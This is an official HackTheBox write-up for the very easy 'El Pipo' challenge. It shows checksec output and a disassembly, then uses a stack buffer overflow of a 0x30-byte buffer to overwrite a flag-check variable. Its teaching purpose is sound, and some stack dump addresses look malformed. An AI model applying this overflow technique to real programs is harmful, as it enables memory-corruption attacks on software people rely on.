



HACKTHEBOX



El Pipo

11th September 2024 / Document No. D24.102.205

Prepared By: w3th4nds

Challenge Author(s): w3th4nds

Difficulty: **Very Easy**

Classification: Official

Synopsis

- El Pipo is a very easy difficulty challenge that features simple Buffer Overflow to change a variable's value.

Description

- An ancient spirit, El Pipo, has taken control of this place. Face your fears and try to drive it away with your most vicious scream!

Skills Required

- Basic C

Skills Learned

- Buffer Overflow

Enumeration

First of all, we start with a `checksec`:

```
pwndbg> checksec
Arch: amd64
RELRO:      Full RELRO
Stack:      No canary found
NX:         NX enabled
PIE:        PIE enabled
RUNPATH:    b'./glibc/'
```

Protections

As we can see:

Protection	Enabled	Usage
Canary	✗	Prevents Buffer Overflows
NX	✓	Disables code execution on stack
PIE	✓	Randomizes the base address of the binary
RelRO	Full	Makes some binary sections read-only

The program's interface:

```
→ ./el_pipo
el pipo
Not scary enough.. Boo! :(

└→ ./el_pipo
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
HTB{REDACTED}
```

Disassembly

Starting with `main()`:

```
000012ff  int32_t main(int32_t argc, char** argv, char** envp)

000012ff  {
0000130b      int64_t buffer;
0000130b      __builtin_memset(&buffer, 0, 0x20);
0000132b      char target = 1;
00001340      read(0, &buffer, 0x40);
00001349      if (target == 1)
00001349      {
```

```

00001375         fwrite("Not scary enough.. Boo! :", 1, 0x1a, __TMC_END__);
00001384         fflush(__TMC_END__);
00001349     }
00001349     else
00001349     {
00001350         read_flag();
00001349     }
0000138f     return 0;
000012ff }

```

We can see there is `target` variable, which has the value `1`. This does not change throughout the program but is checked in order to call the `read_flag` function that prints the flag. What we need to do, is writing many bytes to the `buffer` which is `0x20` bytes long, and perform a `buffer overflow` to overwrite the `target` value. The `buffer overflow` occurs because the `read` function takes up to `0x40` bytes. To be more accurate, we can see the assembly.

Debugging

```

pwndbg> disass main
Dump of assembler code for function main:
0x00000000000012ff <+0>: endbr64
0x0000000000001303 <+4>: push    rbp
0x0000000000001304 <+5>: mov     rbp, rsp
0x0000000000001307 <+8>: sub     rsp, 0x30
0x000000000000130b <+12>: mov     QWORD PTR [rbp-0x30], 0x0
0x0000000000001313 <+20>: mov     QWORD PTR [rbp-0x28], 0x0
0x000000000000131b <+28>: mov     QWORD PTR [rbp-0x20], 0x0
0x0000000000001323 <+36>: mov     QWORD PTR [rbp-0x18], 0x0
0x000000000000132b <+44>: mov     BYTE PTR [rbp-0x1], 0x1
0x000000000000132f <+48>: lea     rax, [rbp-0x30]
0x0000000000001333 <+52>: mov     edx, 0x40
0x0000000000001338 <+57>: mov     rsi, rax
0x000000000000133b <+60>: mov     edi, 0x0
0x0000000000001340 <+65>: call    0x1110 <read@plt>
0x0000000000001345 <+70>: cmp     BYTE PTR [rbp-0x1], 0x1
0x0000000000001349 <+74>: je      0x1357 <main+88>
0x000000000000134b <+76>: mov     eax, 0x0
0x0000000000001350 <+81>: call    0x1269 <read_flag>
0x0000000000001355 <+86>: jmp     0x1389 <main+138>
0x0000000000001357 <+88>: mov     rax, QWORD PTR [rip+0x2cb2]          # 0x4010
<stdout@GLIBC_2.2.5>
0x000000000000135e <+95>: mov     rcx, rax
0x0000000000001361 <+98>: mov     edx, 0x1a
0x0000000000001366 <+103>: mov     esi, 0x1
0x000000000000136b <+108>: lea     rax, [rip+0xce0]                    # 0x2052
0x0000000000001372 <+115>: mov     rdi, rax
0x0000000000001375 <+118>: call    0x1170 <fwrite@plt>
0x000000000000137a <+123>: mov     rax, QWORD PTR [rip+0x2c8f]          # 0x4010
<stdout@GLIBC_2.2.5>
0x0000000000001381 <+130>: mov     rdi, rax

```

```
0x0000000000001384 <+133>: call    0x1120 <fflush@plt>
0x0000000000001389 <+138>: mov     eax,0x0
0x000000000000138e <+143>: leave
0x000000000000138f <+144>: ret
End of assembler dump.
```

We can see that the `target` value is at: `0x000000000000132b <+44>: mov BYTE PTR [rbp-0x1],0x1`.

The buffer seems to have `0x30` bytes: `0x000000000000130b <+12>: mov QWORD PTR [rbp-0x30],0x0`.

Let's try and enter some "A" to see the stack layout.

```
pwndbg> x/20gx $rsp
0x7fffffffcd8: 0x000055555555345 0x4141414141414141 # 0x8 bytes
0x7fffffffcdce8: 0x000000000000000a 0x0000000000000000 # 0x10 bytes
0x7fffffffcdcf8: 0x0000000000000000 0x0000000000001000 # 0x10 bytes
0x7fffffffdd08: 0x010055555555180 0x0000000000000001 # 0x8 bytes until we see 1
```

Indeed, after `0x30` bytes we overwrite the address of `target`.